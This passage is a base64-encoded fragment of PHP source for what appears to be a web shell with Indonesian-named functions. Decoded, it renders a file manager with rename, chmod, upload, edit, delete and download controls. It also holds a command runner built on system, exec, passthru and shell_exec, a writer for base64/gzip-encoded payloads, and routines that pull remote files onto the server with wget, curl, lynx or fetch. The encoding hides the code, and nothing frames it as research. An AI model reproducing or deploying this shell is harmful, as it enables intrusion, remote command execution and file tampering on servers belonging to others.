hc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvICFcIiAvPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIGlkPVwidGl0aWszX2Zvcm1cIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVwiIHNpemU9XCIyMFwiLz48YnI+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIG5hbWU9XCJfdXBsXCIgdHlwZT1cInN1Ym1pdFwiIGlkPVwiX3VwbFwiIHZhbHVlPVwiVXBsb2FkXCIvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgCiAgICAgICAgICAgIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zJyk7XCIgLz4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L3RkPjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGlmKCEkd2luICYmICRwb3NpeCl7CiAgICAgICAgICAgICAgICAkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CiAgICAgICAgICAgICAgICAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBUUFBQUMxK2pmcUFBQUFBWE5TUjBJQXJzNGM2UUFBQUFKaVMwZEVBUCtIajh5L0FBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFBMDBsRVFWUW96NldSdlVwRFVSQ0V2em11d1I4czhncjJFVHZ0TFNSYUtqNkFyWlUrVlZBRXdTcXZKSWhJd2lYMzNuUE8ySWdheUsyY2J0bVpXVDRXL2l2OUhlYWNBNjk3TlFSWTI4MUZyMGR1MWhKUHQ5MEQreGdjNmZud1hqQzc5Sld5UWRpVGZPcmY0bmsvalpmMGNWZW5JcEVRSW1HalFzVm9kMmNyeXZINFRFWkMzMGtMak1FK0tVZFJsMjRaRFFCa3J5SXZ0T0pnZ0xHcmkraGJkWGdkOTBlOSsraHo2clI1all0elpLc0lEemh3RkRUUUR6WkVzVHo4Q1JPNXBtVnFCMjQwdWNSYk03a2VqVGNhbEJmdm4xOTVFVitFYWpGMWhnQUFBQUJKUlU1RXJrSmdnZz09JyAvPiAgWyAkZm9sZGVyIF08L2I+PC9hPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld25hbWVcIiB2YWx1ZT1cIiIuJGZvbGRlci4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJSZW5hbWVcIiB2YWx1ZT1cIlJlbmFtZVwiIC8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2FuY2VsXCIgdmFsdWU9XCJDYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4KICAgICAgICAgICAgPC9mb3JtPjx0ZD5ESVI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPgogICAgICAgICAgICA8dGQ+PGNlbnRlcj4KICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiPiIuZ2V0X3Blcm1zKCRwd2QuJGZvbGRlcikuIjwvYT4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiAKICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNTBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHB3ZC4kZm9sZGVyKSksIC00KS4iXCIgLz4gCiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2htb2RfZm9sZGVyXCIgdmFsdWU9XCJDaG1vZFwiIC8+IAogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgCiAgICAgICAgICAgIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPgogICAgICAgICAgICA8dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtJyk7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTQnKTtcIj5VcGxvYWQ8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2ZkZWxldGU9Ii4kcHdkLiRmb2xkZXIuIlwiPkRlbGV0ZTwvYT48L3NwYW4+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTRcIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVwiIHNpemU9XCIyMFwiLz48YnI+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIG5hbWU9XCJwYXRoXCIgdHlwZT1cInRleHRcIiBzaXplPVwiMzNcIiB2YWx1ZT1cIiIuJHB3ZC4kZm9sZGVyLkRJUkVDVE9SWV9TRVBBUkFUT1IuIlwiIC8+PGJyPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiBuYW1lPVwidXBsb2FkY29tcHRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJVcGxvYWRcIi8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2FuY2VsXCIgdmFsdWU9XCJDYW5jZWxcIiAKICAgICAgICAgICAgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTQnKTtcIiAvPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvdGQ+PC90cj4iOwogICAgICAgIH0KICAgIH0KCiAgICBmb3JlYWNoKCRmbmFtZSBhcyAkZmlsZSl7CiAgICAgICAgJGZ1bGwgPSAkcHdkLiRmaWxlOwogICAgICAgIGlmKCEkd2luICYmICRwb3NpeCl7CiAgICAgICAgICAgICRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsKICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICB9ICAgICAgIAogICAgICAgICRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTEV3QUFDeE1CQUpxY0dBQUFBQWQwU1UxRkI5b0pCaGNUSnYyQjJkNEFBQUpNU1VSQlZEakxiWk85VGh4WkVJVy9xbHZkdE0zOEJOZ0pRbVFnSkdkK0EvTVFCTHdHaml3SDNud2RrU0x0TzJ4RVJHNUxxeFhSU0lSMllEZkQ0R2tHTTBQM3JiNGI5UEF6MGw3cFNsV2xXMGZubkxvbEFJUEI0UFhoNGVGdW51Y0FJSUx3ZEVTZVp5QWlmbnA2K3U5b05MbzNnTTNOelRkSFIrLy96dkpNelN5SktLb2RpSWc4QVhheGVJejFiRFo3TXhxTmZ0Z1NVUkRXeTdMVW5aMGRZbXhBRkFWRWxJNkFFQ3lnSXNRUXNpekxCT0FCQURPaktBcHFoN3U3R29DVVdpd1liZXRvVUhyclBjd0Nxb0YyS1VlWEx6RXpCdjArdVFtU0hNRVo5RjZTWmNyNmk0SXNCT2EvYjdIUU1hSHRJQXdnTGRIYWxEQTFldjBlUWJTanJFclF3SnBxRjRlQXgvaG9xRDEzMm1Na0pyaTV1U09sRmhFaHBVUUlpb2p3YW1PRE5zbGpmVVdDcXBMbk9hYUNTS0p0bmFCQ3NaWWpBbGxtWEk0dmFlb2FWWDBjYlNkaG1VUjN6QUt2TmpZNlZpb28wdFd6Z0VvbktiVytLa0dXdDNVbnQwQ2VHZkpzOWcrVVUwckVHSEgvSHcvTWpINi9UK1BPZEZvUk5LQ2hNMjJ4bU9QZXNwalBHUTZIcE5RMjd0NnNBQ0RTTmFueW9sakRMRWRWYUZPTGU4WmtVaks1dWtxM3Q3OWxQQzcvT0RrNUdhK1k2TzVNcXltTnczVjF5M2h5emZYMGhxdkpMeWJYRmQrK2YyZDNkMGRtcytxdmc0T0R6OGZIeDAvTHNiZTM5NjRzUzcrNHVFanVucHFtU2U2ZTNEM041L04wV1pidGx5OWYwOW5aMlovYjI5djJmTEVldnZLOXF2N2MydG9LaThVaWlRaXFIYm02cmlXNmExM2ZuK3p2NzMrb3FvcmhjTGdLVUZYVlArZm41MitMb25qOElMSjBQOFpJQ0NGOS9QVHBDbGhwQnZnUGVsb0w5VTU1TklBQUFBQUFTVVZPUks1Q1lJST0nIC8+ICAgJGZpbGU8L2I+PC9hPgogICAgICAgIDxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHZhbHVlPVwiUmVuYW1lXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4KICAgICAgICA8L2Zvcm0+PC90ZD48dGQ+Ii51a3VyYW4oJGZ1bGwpLiI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPjx0ZD48Y2VudGVyPgogICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtMicpO1wiPiIuZ2V0X3Blcm1zKCRmdWxsKS4iPC9hPgogICAgICAgIDxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IAo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNTBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGwpKSwgLTQpLiJcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDaG1vZFwiIHZhbHVlPVwiQ2htb2RcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDYW5jZWxcIiB2YWx1ZT1cIkNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIiAvPjwvZm9ybT48L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+CiAgICAgICAgPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+RWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGVsZXRlPSRmdWxsXCI+RGVsZXRlPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbD0kZnVsbFwiPkRvd25sb2FkPC9hPiZuYnNwOyg8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGxnemlwPSRmdWxsXCI+R3o8L2E+KTwvdGQ+PC90cj4iOwogICAgfQogICAgJGJ1ZmYgLj0gIjwvdGFibGU+IjsKICAgIHJldHVybiAkYnVmZjsKfQoKZnVuY3Rpb24gdWt1cmFuKCRmaWxlKXsKICAgIGlmKCRzaXplID0gQGZpbGVzaXplKCRmaWxlKSl7CiAgICAgICAgaWYoJHNpemUgPD0gMTAyNCkgcmV0dXJuICRzaXplOwogICAgICAgIGVsc2V7CiAgICAgICAgICAgIGlmKCRzaXplIDw9IDEwMjQqMTAyNCkgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0LDIpOzsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUga2IiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0IC8gMTAyNCwyKTsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUgbWIiOyAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlIHJldHVybiAiPz8/IjsKfQoKZnVuY3Rpb24gZXhlKCRjbWQpewogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBzeXN0ZW0oJGNtZCk7CiAgICAgICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgQG9iX2VuZF9jbGVhbigpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KICAgIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRjbWQsJHJlc3VsdHMpOwogICAgICAgICRidWZmID0gIiI7CiAgICAgICAgZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KXsKICAgICAgICAgICAgJGJ1ZmYgLj0gJHJlc3VsdDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkY21kKTsKICAgICAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKICAgICAgICAkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KfQoKZnVuY3Rpb24gdHVsaXMoJGZpbGUsJHRleHQpewogICAgJHRleHR6ID0gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSkKICAgICB7CiAgICAgICAgIEBmcHV0cygkZmlsZXosJHRleHR6KTsKICAgICAgICAgQGZjbG9zZSgkZmlsZSk7CiAgICAgfQp9CgpmdW5jdGlvbiBhbWJpbCgkbGluaywkZmlsZSkgeyAKICAgaWYoJGZwID0gQGZvcGVuKCRsaW5rLCJyIikpewogICAgICAgd2hpbGUoIWZlb2YoJGZwKSkgeyAKICAgICAgICAgICAgJGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpOyAKICAgICAgICB9IAogICAgICAgIEBmY2xvc2UoJGZwKTsgCiAgICAgICAkZnAyID0gQGZvcGVuKCRmaWxlLCJ3Iik7IAogICAgICAgQGZ3cml0ZSgkZnAyLCRjb250KTsgCiAgICAgICBAZmNsb3NlKCRmcDIpOyAKICAgfQp9CgpmdW5jdGlvbiB3aGljaCgkcHIpewogICAgJHBhdGggPSBleGUoIndoaWNoICRwciIpOwogICAgaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gdHJpbSgkcGF0aCk7IH0gZWxzZSB7IHJldHVybiB0cmltKCRwcik7IH0KfQoKZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXsKICAgICRuYW1hZmlsZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgc3dpdGNoKCRjbWQpIHsKICAgICAgICBjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgZGVmYXVsdDogYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG5hbWFmaWxlOwp9CgpmdW5jdGlvbiBnZXRfcGVybXMoJGZpbGUpCnsKICAgIGlmKCRtb2RlPUBmaWxlcGVybXMoJGZpbGUpKXsKICAgICAgICAkcGVybXM9Jyc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CiAgICAgICAgcmV0dXJuICRwZXJtczsKICAgIH0KICAgIGVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/IjsKfQoKZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7CiAgICByZXR1cm4gc3RyX3JlcGxhY2UoIiAiLCJfIiwkdGV4dCk7Cn0KCgo/Pgo8aHRtbD48aGVhZD48bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnIj48dGl0bGU+PD89JHRpdGxlID8+IDw/PSR2ZXJzaSA/PjwvdGl0bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gdHVrYXIobGFtYSxiYXJ1KXsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsKfQo8L3NjcmlwdD48c3R5bGUgdHlwZT0idGV4dC9jc3MiPmJvZHksIGE6aG92ZXIge2N1cnNvcjogdXJsKGh0dHA6Ly9jdXIuY3Vyc29ycy00dS5uZXQvY3Vyc29ycy9jdXItMTEvY3VyMTA0OC5jdXIpLCBwcm9ncmVzcyAhaW1wb3J0YW50O308L3N0eWxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHsgYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmFuO2JhY2tncm91bmQ6IzAwMDtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoIjw/PSRiYWNrZ3JvdW5kOyA/PiIpO2JhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsgICAgYmFja2dyb3VuZC1hdHRhY2htZW50OiBmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OyB9IAphIHt0ZXh0LWRlY29yYXRpb246bm9uZTsKfQphOmhvdmVyewpib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMDBmZjAwOyAKfQoqewogICAgZm9udC1zaXplOjExcHg7CiAgICBmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDsKICAgIGNvbG9yOjw/PSRjb2xvcjsgPz47Cn0KI21lbnV7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyYW47CiAgICBtYXJnaW46OHB4IDJweCA0cHggMnB4Owp9CgojbWVudSBhewogICAgcGFkZGluZzo0cHggMThweDsKICAgIG1hcmdpbjowOwogICAgYmFja2dyb3VuZDojMjIyMjIyOwogICAgdGV4dC1kZWNvcmF0aW9uOm5vbmU7CiAgICBsZXR0ZXItc3BhY2luZzoycHg7CiAgICAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93LXdlYmtpdC1ib3JkZXItcmFkaXVzOiA1cHg7IC1raHRtbC1ib3JkZXItcmFkaXVzOiA1cHg7IGJvcmRlci1yYWRpdXM6IDVweDsKfQojbWVudSBhOmhvdmVyewogICAgYmFja2dyb3VuZDojMTkxOTE5O